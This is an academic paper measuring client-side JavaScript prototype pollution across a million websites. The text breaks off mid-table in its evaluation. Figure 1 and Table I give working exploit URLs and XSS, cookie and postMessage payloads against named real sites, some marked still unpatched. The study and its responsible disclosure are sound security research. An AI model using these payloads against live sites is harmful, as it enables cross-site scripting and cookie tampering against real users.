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Abstract—Prototype pollution is a relatively new type
of JavaScript vulnerabilities, which allows an adversary
to inject a property into a prototypical object, such as
Object.prototype. The injected property may be used later
in other sensitive locations like innerHTML, leading to Cross-
site Scripting (XSS), or document.cookie, leading to cookie
manipulations. Prior works proposed to detect prototype pollu-
tion in Node.js application using static analysis. However, it still
remains unclear how prevalent prototype pollution is in client-
side JavaScript, let alone what consequences (e.g., XSS and cookie
manipulations) prototype pollution could lead to.

In this paper, we propose PROBETHEPROTO, the first large-
scale measurement study of client-side prototype pollution among
one million real-world websites. PROBETHEPROTO consists of
two important parts: dynamic taint analysis that tracks so-called
joint taint flows connecting property lookups and assignments,
and input/exploit generation that guides joint taint flows into final
sinks related to further consequences. PROBETHEPROTO answers
the questions of whether a prototypical object is controllable,
whether and what properties can be manipulated, and whether
the injected value leads to further consequences.

We implemented a prototype of PROBETHEPROTO and eval-
uated it on one million websites. The results reveal that 2,738
real-world websites—including ten among the top 1,000—are
vulnerable to 2,917 zero-day, exploitable prototype pollution
vulnerabilities. We verify that 48 vulnerabilities further lead to
XSS, 736 to cookie manipulations, and 830 to URL manipulations.
We reported all the findings to website maintainers and so far
185 vulnerable websites have already been patched.

I. INTRODUCTION

Prototype pollution is a relatively new type of JavaScript
vulnerability, which was first proposed by Arteau [6] in 2018.
The existence of such a vulnerability is due to a JavaScript
feature, called prototype chain, which allows a property lookup
not only under the current object but also through a chain
of prototypical objects. More specifically, prototype pollution
empowers an adversary to inject or modify a property under a
prototypical object, e.g., Object.prototype, thus affect-
ing the normal execution (e.g., control- and data-flows) of a
vulnerable program.

While prototype pollution is starting to draw people’s
attentions [6], [24], [29], one major remaining research ques-
tion is what further consequence a prototype pollution can
lead to beyond polluting a prototypical object after successful
exploitation. Say, for example, if another snippet of JavaScript
code co-located with a prototype pollution vulnerability loops
through all the properties with constant values under an object
to generate an HTML code, this prototype pollution will allow
an adversary to inject arbitrary JavaScript code, leading to a
Cross-site Scripting (XSS).

Recently, people are realizing the importance in studying
the further consequence of prototype pollution. For example, a
blog post [9] and a Github repository [10] both illustrate some
prototype pollution examples that may lead to consequences
such as the aforementioned XSS. However, to the best of our
knowledge, no prior works have systematically studied the
further consequences of prototype pollution especially among
client-side JavaScript in real-world websites. Prior academic
works [6], [24], [29] detect only the existence of prototype
pollution in server-side Node.js applications but not their
consequence. The aforementioned blog post and repository [9],
[10] only illustrate some possible consequences with manual
analysis but do not detect them in real-world websites auto-
matically let alone perform a large-scale measurement.

Putting aside the consequence analysis, prior server-side
detections are not scalable or accurate for client-side prototype
pollution either. ObjLupAnsys [29], the state of the art, is
not scalable to analyze client-side JavaScript, because their
heavy-weight abstract interpretation leads to path and object
explosion. DAPP [24], a closed-source static analysis tool, has
very large false positives (>50%) and can only rely on human
exports to check the exploitability of the found vulnerabilities.
Arteau [6] explores Node.js packages with a set of pre-defined,
server-side exploit inputs to package’s exported functions:
Such a method is not applicable at the client side where inputs
are diversified (e.g., message, URLs, and cookies) and only
part of the inputs contain the exploit whereas the rest may be
for satisfying the vulnerable condition.

In this paper, we present PROBETHEPROTO, the first large-
scale measurement of client-side prototype pollution vulnera-
bilities and their consequences among one million real-world
websites. The key insight here is to track adversary-controlled
inputs into vulnerable property lookups, such as obj[prop],
via dynamic taint analysis to detect prototype pollution vulner-
abilities, and then guide object lookups in propagating taints
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to a consequence-related final sink like innerHTML for the
detection of further consequences.

There are two major challenges in measuring client-side
prototype pollution and consequences, which motivate two
major modules of PROBETHEPROTO, i.e., dynamic taint anal-
ysis and input/exploit generation. First, a successful prototype
pollution together with a further consequence usually consists
of two or more property lookups chained together. That is,
a prototype pollution vulnerability has multiple sinks that are
invoked in a certain order as opposed to one sink in traditional
taint-style vulnerabilities (e.g., DOM-based XSS). Therefore,
PROBETHEPROTO tracks so-called joint taint flows to detect
prototype pollution during property lookups and assignments.
Specifically, for a property lookup like o=obj[prop], PRO-
BETHEPROTO adopts a new taint value, called an object taint,
to track the obtained object o if the property (i.e., prop) is
tainted. Then, PROBETHEPROTO detects a joint of three differ-
ent taint flows as a prototype pollution vulnerability, if they are
co-located in a property assignment like o[prop1]=value
where o is object-tainted and prop1 and value are value-
tainted (i.e., the traditional taints).

Second, the challenge is that the final sink related to pro-
totype pollution consequences may not be directly reachable.
For example, the sink may only be triggered when a certain
property under an object exists. Therefore, PROBETHEPROTO
adopts an input/exploit generation module to actively create
object properties via prototype pollution based on property
lookups and sink functions. Specifically, PROBETHEPROTO
performs multiple runs of dynamic taint analysis. One run will
record missing property lookups and intermediate sinks; and
then PROBETHEPROTO will include these missing properties
in the follow-up runs to reach the final consequence-related
sink, such as innerHTML or setAttribute for XSS and
document.cookies for cookie manipulation.

After PROBETHEPROTO generates exploits for vulnerable
websites, PROBETHEPROTO will further validate them by
executing on a vanilla browser and check the consequences,
e.g., the execution of third-party scripts and the injection of
strings into cookies or URLs. We will then manually report
the found vulnerabilities and exploits to corresponding website
maintainers or developers. At the same time, PROBETHEP-
ROTO will also analyze those that cannot be exploited and
measure real-world defenses of prototype pollution.

We implemented a prototype of PROBETHEPROTO to
measure prototype pollution among top one million Tranco
websites [26]. Our measurement results reveal 2,738 websites
that are vulnerable to 2,917 zero-day, exploitable prototype
pollution vulnerabilities. Specifically, our results include ten
among top 1,000 websites, e.g., weebly.com (a web hosting
service company) and mckinsey.com (a top consulting firm that
fixed the vulnerability) and 63 between 1,000 and 10,000, e.g.,
docusign.com (a popular electronic agreement management
website). Among all the vulnerabilities, 48 leads to XSS, 736
cookie manipulation, 830 URL manipulation, and 1,595 no
observable consequences. So far, 185 websites have already
fixed the reported vulnerabilities, six have been confirmed but
not yet fixed, and two have been patched with their own fix
but are still vulnerable.

II. OVERVIEW

In this section, we describe a motivating example, in-
scope consequences, and then how PROBETHEPROTO detects
prototype pollution in the example via joint taint flows.

A. Background: Prototype Pollution

Prototype pollution [6] allows an adversary to pollute a
built-in property of a JavaScript object. Say, we have an ob-
ject lookup and assignment like obj[key1][key2]=val.
If all three variables, i.e., key1, key2, and val, are
all controllable by an adversary, the adversary can use
obj["__proto__"]["prop"]="polluted" to add a
property, called prop, under Object.prototype. Then,
if a vulnerable JavaScript accesses an undefined property
prop under anotherObj via anotherObj.prop, the
property lookup goes through the prototype chain, returning
the adversary-defined value, i.e., "polluted". We call this
type of vulnerability prototype pollution.

B. A Motivating Example

We describe a zero-day prototype pollution vulnerability
found by PROBETHEPROTO on www.boulderboats.com, a boat
selling website on the Tranco list [26]. The exploitation of
the vulnerability can further lead to the execution of arbitrary
third-party JavaScript code, i.e., Cross-site Scripting (XSS).
We reported the vulnerability to the website owner with
multiple trials, but the website is still not fixed yet. Figure 1
shows the exploit code (Lines 1–3), which is a URL with a
carefully-crafted query string, and the vulnerable source code
(Lines 4–38). The exploitation has two steps: (i) polluting the
prototype of the global object and (ii) injecting third-party
scripts into a DOM element.

First, the query string containing the exploit code is
passed to a vulnerable, anonymous function as a parame-
ter (Q) at Line 5. The vulnerable function decomposes the
string into three parts: __proto__, k, and the injected
code (<script>alert(1)</script>). The former two
are stored at the variable R at Line 13 and the latter one
is at the variable J at Line 18. The vulnerability is at
Line 24: In the first iteration of the for loop (Line 21),
M equals to 0 and then O equals to O["__proto__"],
which is Object.prototype; then in the second iteration,
M equals to 1 and then O equals to O[’k’], which is
Object.prototype.k based on the first iteration’s result.
That is, the adversary successfully pollutes the property under
Object.prototype.

Second, when the vulnerable code at Lines 32–37 generates
a DOM element, it is supposed to read from an object (data
at Line 34) with well-sanitized inputs. However, the for
loop at Line 35 reads properties under not only the data
object itself but also its prototypical object. Therefore, the
field object at Line 36 will also equal to k, because
Object.prototype.k is polluted in the previous step.
Then, the exploit code is appended to the DOM element and
executed, leading to an XSS.

One interesting thing worth noting here is that the
additional queries other than the exploit at Line 3, i.e.,
page=xAllInventory&make=chaparral, are required
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1 /* Exploit: https://www.boulderboats.com/default.asp?
2 __proto__[k]=<script>alert(1)</script>&
3 page=xAllInventory&make=chaparral */
4 // Step 1: polluting the prototype
5 function(Q){//Q="__proto__[k]=<script>alert(1)</script>"
6 var H = {}, K = Q.split("="), /* K = ["__proto__[k]",
7 "<script>alert(1)</script>"] */
8 P = decodeURIComponent(K[0]),// P = "__proto__[k]"
9 J, O = H, M = 0,

10 R = P.split("]["), // R = ["__proto__[k]"];
11 if (/\[/.test(R[0]) && /\]$/.test(R[N])) {
12 R[N] = R[N].replace(/\]$/, "");
13 R = R.shift().split("[").concat(R); /* R =
14 ["__proto__", "k"] */
15 N = R.length - 1 // N = 1
16 } ...
17 if (K.length === 2) {
18 J = decodeURIComponent(K[1]); /* J = "<script>alert
19 (1)</script>" */
20 if (N) {
21 for (; M <= N; M++) {
22 P = R[M] === "" ? O.length : R[M];
23 // P = "__proto__" (when M=0); P = "k" (when M=1)
24 O = O[P] = M < N ? O[P] || (R[M + 1] && isNaN(R[M +

1]) ? {} : []) : J
25 // O=O["__proto__"]=Object.prototype (when M=0)
26 // O=O["k"]="<script>alert(1)</script>" (when M=1)
27 }
28 }
29 }
30 }
31 // Step 2: injecting third-party code
32 var $unitSpecs = $("<ul/>").addClass("unitSpecs"),
33 // $unitSpecs is a DOM element
34 data = { ’123’: ’abc’ };
35 for(var field in data){ // field = "k"
36 $unitSpecs.append("<li><span class=’" + field + "’>" +

data[field] + "</span></li>");
37 // data["k"]="<script>alert(1)</script>"
38 }

Fig. 1: The exploit code (Lines 1–3) and the vulnerable source
code of www.boulderboats.com (Lines 4–38). We reported
the vulnerability to the website owner; at the time of paper
submission, the exploit code at Lines 1–3 is still valid and the
owner has not fixed the vulnerability yet.

O = O [ P ];  

O [ P ] = J;  

$unitSpecs.append(… + data[field] + … );

*

*#

*

Adversary-controlled input

Sink 1 (Line 24):
1st iteration

Sink 2 (Line 24):
2st iteration

Sink 3 (Line 36):

*

(1) (2) (3)

*: value-tainted

#: object-tainted

(i): joint taint flows

(1)

(3)

Fig. 2: An illustration of joint taint flows in detecting the
vulnerability of Figure 1. Subflow (1): an adversary input→an
object lookup (O as object-tainted); Subflow (2): an adversary
input→another object lookup (P as value-tainted); Subflow
(3): an adversary input→the polluted property value (J as
value-tainted)→the final sink (append).

for the exploit. Otherwise, the webpage will be automatically
redirected to the front page. Furthermore, the front page is not
vulnerable to prototype pollution.

C. High-level Idea: Joint Taint Flows

We describe joint taint flows and how they are used to
detect prototype pollution in the motivating example.

1) Definitions: We start by presenting different taints used
in PROBETHEPROTO, which are value and object taints. A
value-taint is the traditional one used in the literature [33],
[44] to mark that the value can be controlled by an adversary.
For example, query strings of a URL can be controlled by an
adversary because the adversary can craft a URL and send it
to a victim. An object-taint is like a pointer taint, which marks
that the object address can be controlled by the adversary
to point to a prototypical object. Consider an object lookup
such as obj[prop]. If prop is value-tainted, the returned
object from the lookup is marked as object-tainted, because
the adversary has access to the prototypical object by setting
prop as __proto__.

The propagation of value and object taints differs: A value
taint is propagated if the generated value is derived from a
tainted value, but an object taint is propagated only if the new
object is exactly the same as the tainted object. For example,
we have a statement o1=o2+"value". If o2 is value-tainted,
o1 is as well; however, if o2 is object-tainted, o1 is not
because they are pointing to different objects. o1 is object-
tainted only for o1=o2.

Next, we describe what a joint taint flow is. We define
a joint taint flow for an object lookup and assignment like
o[prop]=value as an existence of three taint flows for all
three involved variables. Specifically, o is object-tainted and
both prop and value are value-tainted. Because o is object-
tainted, an adversary has access to a prototypical object so
that she can inject a property into the prototypical object with
a crafted value.

2) Vulnerability Detection in Motivating Example: In this
part, we describe how joint taint flows can be used to detect the
vulnerability and its consequence for the motivating example in
Figure 1. Figure 2 shows the joint taint flows for the detection.
First, during the first iteration of the for loop at Line 21,
PROBETHEPROTO marks the object O at Line 24 as object-
tainted because P is value-tainted, i.e., being controlled by an
adversary. That is, the first iteration at Line 24 is the first sink
function, which gives the adversary access to the prototypical
object. Second, during the second iteration of the for loop,
PROBETHEPROTO detects a joint taint flow for an assignment
O[P]=J because O is object-tainted and both P and J are
value-tainted. Lastly, the taint value of J further flows to an
XSS sink function, i.e., a jQuery append function.

There are two things worth noting here. First, in this
specific example, the first and second sink functions happen to
be the same statement in different for loop iterations. These
two sink functions are often located at different statements in
many other cases. Second, for simplicity in the description, we
use the jQuery append function as an XSS sink; in practice,
the real sink function should be a DOM element append
function.

D. Prototype Pollution Consequences

We describe three in-scope consequences in addition to
XSS as mentioned in our motivating example.
• XSS. An adversary injects a third-party script into the

vulnerable website.
• Storage (Cookie) Manipulation. An adversary injects

crafted values into a cookie with either arbitrary keys or
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a specific key. Such injected values may be used for further
attacks, such as session fixation.
• URL Manipulation. As defined by prior work [30], URL
manipulation is that an adversary controls the query strings
of a URL for attacks. URL manipulation may further lead to
other attacks, such as phishing and parameter pollution [7].
For example, an adversary may launch phishing attacks, e.g.,
changing the webpage’s view or logic by altering image tags
and anchor links. For another example, an adversary launch-
ing parameter pollution may craft a URL with confusing
parameters to retrieve hidden information.

III. METHODOLOGY

In this section, we describe our system architecture and
then two important components (joint taint flow analysis and
result validation) of PROBETHEPROTO.

A. System Architecture

The overall system architecture of PROBETHEPROTO is
shown in Figure 3. PROBETHEPROTO has two major parts:
(a) joint taint flow analysis, and (b) result validation. In
part (a), PROBETHEPROTO accepts a list of websites and
crawls the World Wide Web from each seed website for more
URLs. Then, PROBETHEPROTO generates inputs for each URL
starting from query strings like ?key1[key2]=value if
no such strings exist in the URL. Next, PROBETHEPROTO
performs dynamic taint analysis to find a joint taint flow. If
a joint taint flow is not found, PROBETHEPROTO generates
additional inputs based on the properties that are looked up
in the first round of analysis and repeats the process until
no more property lookups are found. If a joint taint flow is
found, PROBETHEPROTO records the sources and sinks of each
subflow in the joint flow. Then, PROBETHEPROTO generate an
exploit accordingly based on the sources and sinks for part (b).
For example, if the sources are all from the cookies and the
sink is innerHTML, PROBETHEPROTO generates exploits in
the cookies as a key-value pair and the value is set to be a
script such as <script>alert(1)</script>.

Then, in part (b), PROBETHEPROTO first validates the
success of the exploit: For example, if the injected property
and value exist in a prototypical object, PROBETHEPROTO will
consider that the prototype pollution is successfully exploited.
Next, we will report the found vulnerability to website owners
with the provided exploit code and a manually-generated,
suggested fix to the vulnerability. At the same time, PRO-
BETHEPROTO also compares the joint taint flows found in the
last two runs of dynamic taint analysis and analyze whether
a certain defense of prototype pollution is deployed on the
website.

B. Joint Taint Flow Analysis

Our joint taint flow analysis has two components: input/-
exploit generator and dynamic taint analysis. The former is
used to generate inputs for the latter and the latter helps the
former to generate better inputs and trigger prototype pollution.
The execution of these two component forms into a loop until
no more properties are looked up during the dynamic taint
engine or PROBETHEPROTO finds a joint taint flow triggering
prototype pollution and their consequences.

1) Input/Exploit Generator: PROBETHEPROTO’s input/ex-
ploit generator follows common input string patterns (e.g.,
k0[k1]=v, k0[k1][k2]=v, k0=v0&k1=v1&k2=v2, and
k0.k1[k2]=v) for different places controllable by adver-
saries (e.g., URL queries, cookies, and postMessage). In
such string patterns, the kis are called property inputs and
the vis, are called value inputs, because they are often used
later by JavaScript code like obj[ki]=vi or o=obj[ki].
PROBETHEPROTO starts from random values for properties
and values and then adds properties and values based on the
outputs from dynamic taint analysis. We now describe details
about these two types of inputs.

a) Property Generator: The fist step of property gener-
ator is to insert prototypical properties. There are two options:
__proto__, and constructor followed by prototype.
When the number of object-tainted subflow is one, PRO-
BETHEPROTO only chooses __proto__; otherwise, PRO-
BETHEPROTO can choose the second option.

Then, PROBETHEPROTO generates property inputs using
two methods: sink- and lookup-based. First, a sink-based
generation creates properties based on the type of sinks that are
encountered by dynamic taint analysis. We list several below:
• Element property. PROBETHEPROTO creates innerHTML
for a property field belonging to an element so that the
dynamic taint engine may track additional joint taintflows
to XSS-related sinks.
• Script tag attribute. PROBETHEPROTO creates a src at-
tribute attribute so that an adversary may include a third-
party script.
• Image tag attribute. PROBETHEPROTO creates onerror
and onload attributes so that an adversary may inject third-
party script.

Second, a lookup-based generation creates properties based
on the lookups recorded by the dynamic taint engine. More
specifically, there are two types of lookups:
• Control-flow related lookups. PROBETHEPROTO tries to
record missing properties and provide them via prototype
pollution so that the control-flow will different in another
run. Say for example, the target JavaScript tries to ac-
cess the property “p” under an object via obj["p"], but
fails to fetch the value, i.e., obtaining the undefined.
PROBETHEPROTO will create a property “p” in the input,
such as __proto__[p]=val. Note that several property
lookups may be accessed together and thus chained like
obj["p1"]["p2"]. PROBETHEPROTO will record the
object address and their property lookups to determine the
chaining.
• Data-flow related lookups. PROBETHEPROTO tries to

record properties under an object if the property being
looked up is controlled by an adversary, i.e., tainted.
For example, when the target JavaScript has a statement
like obj1[prop]=obj2[prop], where prop is tainted,
PROBETHEPROTO will enumerate all the properties under
the object prop1, to affect the data-flow.

b) Value Generator: PROBETHEPROTO’s value gener-
ator has two parts: control-flow related and exploit related.
First, PROBETHEPROTO creates better inputs in triggering
joint taint flows. For example, when a target JavaScript has a
statement like if obj[prop]=="val", PROBETHEPROTO
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Fig. 4: A representation of object-taint.

will generate a value input, val, to better guide the control-
flow to reach the sink function.

Second, PROBETHEPROTO generates exploits when a sink
function is reached. This procedure is as follows. PRO-
BETHEPROTO locates the corresponding value string in the
source based on injected properties. Then, PROBETHEP-
ROTO replaces the located substring with corresponding ex-
ploit code. Specifically, PROBETHEPROTO chooses the value
based on the sink type. If the sink is eval, the value
is script code like alert(1);; if the sink is HTML-
related, such as innerHTML, the value is HTML code
with script like <script>alert(1);</script> and
<img onerror=alert(1)/>; for all other sinks, PRO-
BETHEPROTO chooses a unique value for the purpose of result
validation.

Note that PROBETHEPROTO only changes the substrings
related to the detected joint flows but keeps others unchanged.
The reason is that other strings may be useful to guide the
JavaScript execution to multiple sink functions. Take Figure 1
for example. Both query strings are needed; otherwise, the
webpage is redirected to the front page and the exploit becomes
invalid.

2) Dynamic Taint Analysis: We describe how PROBETHE-
PROTO represents taints, different sources and sinks of PRO-
BETHEPROTO, and lastly taint propagation.

a) Taint Representation: PROBETHEPROTO presents
both value- and object-taints using a one-byte string, in which
one bit represents whether the value taint is sanitized, five
bits represent the source type, and two unused. A sanitization
indicates that the value is processed—e.g., encoded, converted
to upper case, and compared with hasOwnProperty—so
that exploit inputs of prototype pollution will not trigger a
vulnerability.

PROBETHEPROTO stores object-taints in a key-value map
where the key is the object address and the value is the

object-taint as shown in Figure 4 (right). In addition, PRO-
BETHEPROTO also stores one bit in the object’s attribute
as shown in Figure 4 (left) to indicates that the object is
tainted: This is useful in both checking the joint taint flows
and taint propagation. PROBETHEPROTO stores value-taints as
a member of the object class following prior dynamic taint
analysis on browsers [33], [44] that track value-taints to detect
XSS attacks.

b) Sources and Sinks: PROBETHEPROTO considers
DOM APIs that are possibly controlled by an adversary for
prototype pollutions as sources. Note that although some
sources are controllable as shown by prior works, they are
generally not possible for prototype pollution. For example,
we cannot assign the value of URL hostname as __proto__
or prototype and therefore it is not considered as sources
for prototype pollution. Here, we describe the list of sources.

• URL. URL is controllable by an adversary because the
adversary may send a crafted link to the victim via email
or embed the link as part of her own website. JavaScript
uses document.location to access the full URL.
• URL search/hash. There are many subcomponents of
document.location. location.search and
location.hash are part of URL and may be used by an
adversary for prototype pollution inputs.
• Referrer. Referrer is controllable by an adversary because

a webpage may be visited from another website controlled
by an adversary and the query string may contain prototype
pollution inputs. JavaScript uses document.referrer to
access the full URL of the referrer.
• Message. Messages received by postMessage may be

controllable by an adversary if either the sender is from the
adversary or the sender is compromised by the adversary.
• Storage. Client-side storage, such as cookies, Local Storage,

and Session Storage, may be controllable by an adversary
according to prior works [33], [44] on DOM-based XSS if
the website is visited once in an insecure setting.

There are two types of sinks: intermediate and final.
Intermediate sinks are related to object lookups, such as
obj[prop], where prop is value-tainted and obj may be
object-tainted. One object lookup and another object property
assignment will lead to a prototype pollution. After inter-
mediate sinks, PROBETHEPROTO also propagates taints to a
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final sink and understands the consequences of a prototype
pollution. We listed final sinks below:
• eval. eval as a sink leads to XSS if its parameter is

controllable by an adversary.
• HTML outputs. HTML outputs, such as innerHTML and
append, also lead to XSS if the outputted HTML contents
are controllable by an adversary.
• Storage. Client-side storage, such as cookies and Local
Storage, may lead to a session fixation attack if controlled
by an adversary.
• src and href attributes. src and href attributes of HTML

tags, if controlled by an adversary, may lead to a cross-site
request forgery (CSRF) attack because the adversary may
craft the parameters of that URL.

c) Taint Propagation: In this part, we describe how
PROBETHEPROTO propagates value- and object-taints. First,
PROBETHEPROTO propagates value-taints for any string oper-
ations, such as String.concat() and slice(). If one
or more operatees are value-tainted, PROBETHEPROTO will
propagate the taint from the operatee to the result. During
propagation, PROBETHEPROTO also checks whether a sani-
tization is present and marks the sanitization bit accordingly.
Second, PROBETHEPROTO sets and propagates object-taints
for an object lookup like obj[prop] where prop is value-
tainted. Then, in the future, if aliases of the object are used,
the propagation is automated because the object-taint bit is
associated with the object rather than the variable or the
property.

C. Result Validation

In this subsection, we present how PROBETHEPROTO val-
idates the results from joint taint flow analysis. PROBETHEP-
ROTO first executes exploits in a vanilla Google Chrome to
ensure the validity of the exploit and then we responsibly
disclose the vulnerability to website developers. At the same
time, if an exploit is not generated, PROBETHEPROTO also
compares different joint taint flows to detect possible defense
that is in place for prototype pollution.

1) Exploit Validation: There are two steps in validating ex-
ploits: (i) prototype pollution validation, and (ii) consequence
validation. First, during exploit generation, PROBETHEPROTO
will generate a unique value for the injected property and
value. After the exploit is executed, PROBETHEPROTO will
try to find the unique value in a prototypical object, such as
Object.prototype. If the value is found, we consider that
the exploit is valid. Second, once PROBETHEPROTO confirms
a prototype pollution vulnerability, PROBETHEPROTO will fur-
ther validate the consequence, which depends on consequence
types.
• XSS. PROBETHEPROTO uses console.log to output
a unique value and then checks whether the value exists in
the console.
• Storage (cookies) manipulation. PROBETHEPROTO checks
whether the injected value exists in the corresponding client-
side storage, e.g., cookies.
• URL manipulation. PROBETHEPROTO checks whether the
injected value exists in the query string part of URL of
a corresponding HTML element, e.g., the src attribute of
img.

2) Responsible Reporting: Once PROBETHEPROTO con-
firms that a website is vulnerable to prototype pollution and
exploitable, we will manually check the vulnerability and the
exploit and report them to the website developer. In the email,
we will give three details: (i) what the vulnerability is and
where the vulnerability locates (i.e., the file name and which
line of code), (ii) how to exploit the vulnerability for their
website (i.e., the exploit code), and (iii) how to patch the
vulnerability if we hear from the website owner (i.e., a patch
generated by us manually and verified against the exploit). If
we do not hear from the website owner, we will send another
email again after 30 days.

3) Defense Analysis: The high-level idea of our defense
analysis is to compare the behaviors, i.e., the number of data-
flows and taints, of a target website with normal (without
the attack payload) and exploit inputs using two runs of our
dynamic taint analysis. In other words, PROBETHEPROTO
compares data-flows of the last two runs of dynamic taint
analysis with generated inputs. If the number of data-flows is
different between two runs, PROBETHEPROTO will consider
that there exists a control-flow defense. It is because certain
control-flow checks, such as hasOwnProperty, will prevent
data from flowing to a sink. Otherwise, if the number of data-
flows is the same but the taints are different, PROBETHEPROTO
will consider it as a data-flow defense. There are two subcat-
egories of data-flow defenses:
• Value-taint sanitization. Value-taint sanitization, or called

property sanitization, converts a prototype pollution input
as an object property to a benign one, e.g., capitalizing
__proto__ to __PROTO__. The number of dataflows
between two runs is the same, but the sanitization bit is set
during both runs of dynamic taint analysis.
• Object-taint sanitization. Object-taint sanitization adds ad-

ditional prototypical objects in between the initial and the
target, e.g., assigning an empty object like {} to an object-
tainted value. The number of dataflows between two runs
is also the same, and the sanitization bit is not set. PRO-
BETHEPROTO checks the value of object-taint to for such a
sanitization.

There are two things worth noting here. First, we realize
that loading a website twice may lead to different contents,
e.g., advertisements. This does not affect PROBETHEPROTO’s
defense detection, because dataflows are still the same, but the
data contents change. Second, PROBETHEPROTO only detects
defenses that can prevent prototype pollution, but not devel-
opers’ intent. That is, a defense may be added unintentionally,
but can defend against prototype pollution; PROBETHEPROTO
will also consider this as a defense.

IV. IMPLEMENTATION

We implemented a prototype of PROBETHEPROTO with
4,759 lines of Python, 123 lines of C/C++, and 673 lines
of JavaScript code. Our implementation is open-source and
available at this anonymous repository (https://github.com/
client-pp/ProbetheProto). We now describe some implemen-
tation details of PROBETHEPROTO below:
• Web Crawler. We implemented our web crawler as a

Google Chrome extension. The crawler accepts the Top One
Million domains in the Tranco list [26] generated on 19
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TABLE I: A selective list of vulnerable domains found by PROBETHEPROTO with zero-day prototype pollution (URL-M:
Manipulation of the query string of a URL; Cookie-M: Manipulation of cookie values; XSS: Cross-site Scripting).

Domain Ranking Sources Consequences Reporting Generated Exploit Code

weebly.com 96 URL search - Reported https://www.weebly.com/domains?__proto__[1]=v

cnet.com 150 URL - Fixed https://www.cnet.com/?constructor[prototype][1]=v

mckinsey.com 693 URL search - Fixed https://www.mckinsey.com/?__proto__[k]=v

westmarine.com 22,742 URL search XSS Reported https://www.westmarine.com/cart/?__proto__[onload]=console.log("XSS")

docusign.com 1,870 URL search URL-M Reported https://www.docusign.com/contact-sales?__proto__[k]=v

247sports.com 3,234 URL, URL search Cookie-M Confirmed https://247sports.com/Season/2022-Football/CompositeRecruitRankings/
?constructor[prototype][k]=v&InstitutionGroup=HighSchool

calpoly.edu 5,957 URL search - Fixed https://www.calpoly.edu/?__proto__[k]=v

wdl.org 8,408 URL hash - Fixed https://www.wdl.org/en/#__proto__[k]=v

harveynichols.com 9,377 URL Cookie-M Fixed https://www.harveynichols.com/brand/aidan-mattox/?__proto__[k]=v

sky.de 10,702 Cookie URL-M Reported

document.cookie = "waSky.__proto__=loginStatus>>
login][loginString>>login][currentPage>>home][currentChannel>>home]
[aboPurchaseIdFallback>>][upgradePurchaseIdFallback>>][defaultPurchaseIdFallback>>]
[pagePercentViewed>>][aboMgmEntryString>>][aboMgmEntryFlag>>][prevSelectEntry>>]
[timestampSecsLastPage>>1622010370][wkzEntryPage>>direct type in][wkzPath>>
direct type in>>30>>200521][crmString>>free::direct type in::direct type in::"

carnival.com 13,539 URL search Cookie-M Reported https://www.carnival.com/cruise-search/?__proto__[k]=v

usd.edu 20,222 URL search - Fixed https://www.usd.edu/?__proto__[k]=v

dronedeploy.com 63,043 URL Cookie-M, URL-M Confirmed https://www.dronedeploy.com/product/platform/?__proto__[k]=v

romea.cz 176,699 Message - Reported postMessage("ho3y4q3z3glk5r7p;updateIframe;__proto__;Message_k;Message_v",
"https://www.romea.cz") from https://www.darujme.cz

getpelegant.com 240,393 URL search XSS, URL-M Fixed https://getpelegant.com/?__proto__[k]=1><img src=1 onerror=alert(1)></img></li><!--

gluesticksgumdrops.com 264,256 Cookie URL-M Reported document.cookie = "bs-last-events=[__proto__%3ACookie_k%3ACookie_v]"

kozehealth.com 324,790 URL search XSS, URL-M Fixed https://kozehealth.com/?__proto__[k]=1><img src=1 onerror=alert(1)></img></li><!--

March 2021 and navigates through links embedded on the
front page of each web domain until the crawler reaches ten
links deep.
• Dynamic Taint Analysis. We instrumented an existing
dynamic taint analysis engine [33] (which is based on
Google Chrome 54.0.2822.0) to incorporate object-taints.
Specifically, we modified and injected the object-taint bit in
the class “Map” defined in v8/src/object.h. Then, we also
recorded object address and their taints in a separate key-
value store and implemented the detection of joint taint flows.
• Input/Exploit Generation. We implemented input/exploit
generation using both Python and C/C++ (instrumenta-
tion of Google Chrome). Specifically, we instrument object
lookups in v8/src/runtime/runtime-object.cc, the in operator
in v8/src/objects.cc, and several function calls (such as
hasOwnProperty and indexOf), to record intermediate
sinks, missing property lookups and potentially affectable
properties.
• Defense Analysis. The defense analysis additionally in-

strumented Google Chrome browser to output API calls
related to control-flow-based defenses.
• Result Validation. We implemented our result validation
as part of our Google Chrome extension, which checks the
unique values injected by PROBETHEPROTO during proto-
type pollution.

V. EVALUATION

Our evaluation answers the following research questions.

• RQ1 [Zero-day]: What are the zero-day prototype pollution
and consequences that PROBETHEPROTO find?
• RQ2 [Comparison]: How does PROBETHEPROTO compare

with state of the art in detecting prototype pollution?
• RQ3 [Performance]: What is performance overhead?
• RQ4 [False Negatives]: What are the false negatives?

• RQ5 [Code Coverage]: What is the code coverage of
PROBETHEPROTO in analyzing the target vulnerable file?
• RQ6 [Defense]: How do real-world websites defend against

prototype pollution?

A. RQ1: Zero-day Vulnerabilities

In this research question, we evaluate PROBETHEPROTO
in detecting zero-day vulnerabilities among top one million
Tranco websites. The experiment runs from November 12th,
2021 until December 3rd, 2021 for three weeks in total on a
server with 192 GB memory and Intel® Xeon® E5-2690 v4
2.6GHz CPU. PROBETHEPROTO has 20 instances running in
parallel with a 120-second timeout to fully load each page.

1) Result Overview: We start from an overview of PRO-
BETHEPROTO’s results. In total, PROBETHEPROTO finds 2,738
exploitable domains with zero-day prototype pollution vul-
nerabilities, 185 out of them are already fixed, six addi-
tional confirmed the vulnerability, and two more patched
(i.e., 247sports.com and dronedeploy.com) but still vulnerable.
Table I gives a selective list of some vulnerable domains with
their Tranco rankings, which include some popular websites,
e.g., mckinsey.com (a global management consulting firm) and
docusign.com (a US-based company that manages electronic
agreements). We will explain the 247sports example and why
the patched version is still vulnerable in Section V-A3.

[RQ1] Take-away One: PROBETHEPROTO discovered
2,738 domains with 2,917 exploitable prototype pollution
vulnerabilities: 185 vulnerabilities being fixed, six being
confirmed and two being patched but still vulnerable.

2) Result Breakdowns: We break down zero-day pro-
totype pollution vulnerabilities by their sources, exploit
consequences, and Tranco ranking. First, we break them
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TABLE II: [RQ1] A breakdown of zero-day prototype pollu-
tion among one million websites by joint flow sources.

Joint Flow Sources # Joint Flows # Vulnerabilities

{URL search} 9,482 1,770
{URL} 3,505 1,115
{URL hash} 10 2
{URL, URL search} 175 12
{Cookie} 30 5
{Message} 105 13

Total 13,307 2,917

TABLE III: [RQ1] A consequence-based breakdown of proto-
type pollution and the times of the final sink being triggered.

Consequence Sink # Triggered # Vulnerabilities

XSS

innerHTML 18 10
append 35 4
eval 3 3
setAttribute 403 31

Sub-Total† 459 48

Cookie Manipulation
